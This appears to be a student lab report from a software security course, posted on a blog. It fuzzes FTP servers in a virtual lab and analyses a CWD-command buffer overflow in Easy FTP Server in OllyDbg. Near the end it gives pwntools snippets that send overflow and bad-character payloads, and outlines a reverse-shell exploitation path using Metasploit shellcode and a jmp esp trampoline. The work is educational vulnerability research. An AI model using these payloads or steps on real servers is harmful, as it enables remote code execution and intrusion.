BUPT软件安全实验四

本文通过使用FtpFuzz工具和自编Python脚本对FTP服务器进行Fuzz测试,导致服务器崩溃,展示了fuzzing的基本原理和效果。在OllyDbg调试器下,分析了服务器崩溃的异常位置,揭示了可能的缓冲区溢出漏洞。尽管未实现shellcode植入,但提出了利用漏洞的步骤和方法。
摘要由CSDN通过智能技术生成

1.目标

(1)了解fuzz的基本原理。

(2)通过FtpFuzz来fuzz easy ftp server的服务器,使服务器停止工作。

(3)自己编写或修改Python脚本来自己编写FTP FUZZ简单工具,并用其来对Home Ftp Server进行Fuzz,使服务器停止工作,可以用OllyDbg附加查看异常。

在这一过程中,我需要详述跟踪调试过程,在实验关键处进行截图说明,并提交生成的畸形文件,fuzz程序源代码等文件。

(4)解决思考题,即:开发一个针对FTP协议的fuzzing程序,针对easy ftp server,使服务器停止工作,至少找出3个崩溃的异常(代码位置不同)。通过OD找到出现异常崩溃的代码位置及寄存器状态,并判断其是否存在缓冲区溢出漏洞,并植入shellcode。

2.测试步骤与结果

(1)用Quick’n Easy FTP server搭建服务器

        打开虚拟机桌面上的Quick FTP的文件夹,打开exe文件,接着设置开放匿名用户:

        设置FTP的目录:

        设置权限(开放Download即可),并启动服务器:

(2)用FTPFUZZ进行服务器的FUZZ

        打开ftpfuzz的exe文件:

        左下角下拉框选择Deselect All,然后在USER选项和PASS选项中的Command Argument中填入anonymous,在LIST选项中选中fuzz this ftp command选项:

        点击config菜单,在Fuzzing data中设定要设置的脏数据:

        在命令行输入ipconfig查看到FTP主机的ip地址为192.168.161.133:

        设置FTP主机的IP地址,点击start开始fuzz:

        启动后可以看到相关的信息:

        如下图,红字的部分说明了已经fuzz成功了,FTP服务器已经因为脏数据而崩溃:

        查看FTP主机情况,发现服务崩溃,说明fuzz生效:

(3)自己编写Python脚本进行FTPFUZZ

        打开桌面上的Home Ftp Server:

        点击下方的FTP SERVER选项卡,接着点击New Member创立新成员:

        填入相关信息:User name: lqx ; Password: 20020707:

        然后点击start server,左下角提示running表示服务器已经开始运行:

        打开开始菜单中的Python程序中的GUI:

        进入到Python的GUI后点击开始打开文件,选择fuzz实验文件夹中的fuzz.py文件,打开后可以看到Python文件中的代码:

        针对我自己进行实验的实际情况,对上面的代码进行修改后如下:

        点击run->run module或者F5运行Python脚本,可以看到运行结果如下,发现很多次失败的情况,其实回去观察服务器情况可以发现是Fuzz已经成功导致服务已经关停:

        查看服务器日志,可以看到连续收到多次脏数据后直接退出:

        将HomeFtpServer.exe放进Ollydbg中,重新执行fuzz程序,获得程序崩溃信息,跳转到kernel32.77E99ED8处时发生异常:

3.测试结论

        使用现成的fuzz攻击程序对目标主机进行fuzz攻击,可以使得FTP服务器崩溃;通过编写的fuzz源代码,也可以通过连接目标主机并发送脏数据包实现fuzz攻击,达到让目标服务器崩溃的效果,通过ollydbg分析该过程时,只能找到程序崩溃的位置,并没有找到程序崩溃的原因,虽然理论上是重复插入了相同的数据导致FTP服务器异常。

        通过这次测试,我对软件安全有了更深刻的认识,也意识到软件面临着极大的安全隐患,需要我们去保护和守卫。而要达到这一点,我们要去主动学习更多的知识、熟悉更加强有力的工具。

4.思考题

        开发一个针对FTP协议的fuzzing程序,针对easy ftp server,使服务器停止工作,至少找出3个崩溃的异常(代码位置不同)。通过OD找到出现异常崩溃的代码位置及寄存器状态,并判断其是否存在缓冲区溢出漏洞,并植入shellcode

(1)首先下载并压缩Easy FTP Server v1.7.0.10.zip:

(2)打开Ftpconsole.exe,并用ollydbg附加到名为“ftpbasicsvr”的进程上,该进程是 Easy FTP Server v1.7.0.10的服务进程,用来提供 FTP 服务:

(3)附加成功后,按 F9 键让程序继续运行:

(4)在客户端上我们将通过如下Python代码来对FTP服务端进行测试:

(5)运行该脚本后,服务器中OllyDbg监视到ftpbasicsvr进程发生了严重的运行错误,如下图所示:

上图中的警告意思是说程序运行到内存地址为 0x61616161 的地方,该地址为一个非法内存地址,程序无法继续执行。

(7)分析上述漏洞产生的原因:

        通过Ftpconsole.exe程序主界面上的绿色三角箭头重启ftpbasicsvr进程,再次用OllyDbg程序附加到 ftpbasicsvr 进程。在WS2_32.dll模块中的recv函数上下断点。通过跟踪,程序进入到处理CWD命令的函数后发生了缓冲区溢出:

        此刻,程序利用指令“sub esp,124”开辟一个292(0x124)个字节的栈空间,CWD命令后面的参数,也就是前面运行的攻击脚本myfzz.py中buffer变量的值,就存放在这个空间中。继续单步执行程序,直到程序最后要返回的时候暂停程序。观察内存状态,如下图所示:

        这个时候,ESP 寄存器的值为0x009CFC70,ESP寄存器指向的内存地址正好就是0x61616161,而 0x61 正好对应的就是myfuzz.py 中buffer变量中的字母“a”的十六进制表示。这就说明buffer变量覆盖了函数的返回地址,是一个典型的缓冲区溢出漏洞。

        由于能力有限,利用该漏洞进行shellcode的植入我暂时还没有实现,但是有了一个比较清晰的思路,这里对思路进行描述:

(1)首先确定该缓冲区溢出漏洞的函数,然后使用IDA加载ftpbasicsvr.exe程序,定位到该函数处。可以看到该函数一个是有调用类似strcpy()这种会造成缓冲区溢出的函数。

(2)通过strcpy()函数中的参数,定位到其他关键的函数,然后结合这些函数的信息,确定造成缓冲区溢出漏洞的函数的栈帧结构。

(3)确定了栈帧结构,就可以通过填充数据来构造shellcode。这里采用Kali虚拟机中的pwntools编写类似下面的脚本:

from pwn import *p = remote("192.168.161.133",21)payload='A'*(0xfc-1)+ 'cccc'p.sendline(payload)p.interactive()

(4)重新运行easy ftp server,并在ollydbg重新附加进程,然后运行类似上述的脚本,可以在ollydbg再次看到报错。报错说明前面的分析是正确的。

(5)在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可。

类似的脚本如下:

from pwn import *p = remote('192.168.161.133',21)bytearray = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f""\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f""\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f""\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f""\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f""\\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf""\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf""\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")payload = 'a'*(0xfc-1) + 'cccc' + bytearrayp.sendline(payload)p.interactive()

(6)在Kali上利用metasploit生成windows反弹shell的shellcode,排除(5)找到的坏数据,以c语言格式输出,靶机IP为192.168.161.133。

(7)查询jmp esp指令的地址,从中选择一个地址,作为跳板,跳转到栈上执行shellcode。

(8)根据以上步骤编写exploit,并运行exploit,可以发现该shellcode使靶机开放了4444端口进行shell连接攻击机(Kali),shellcode植入成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值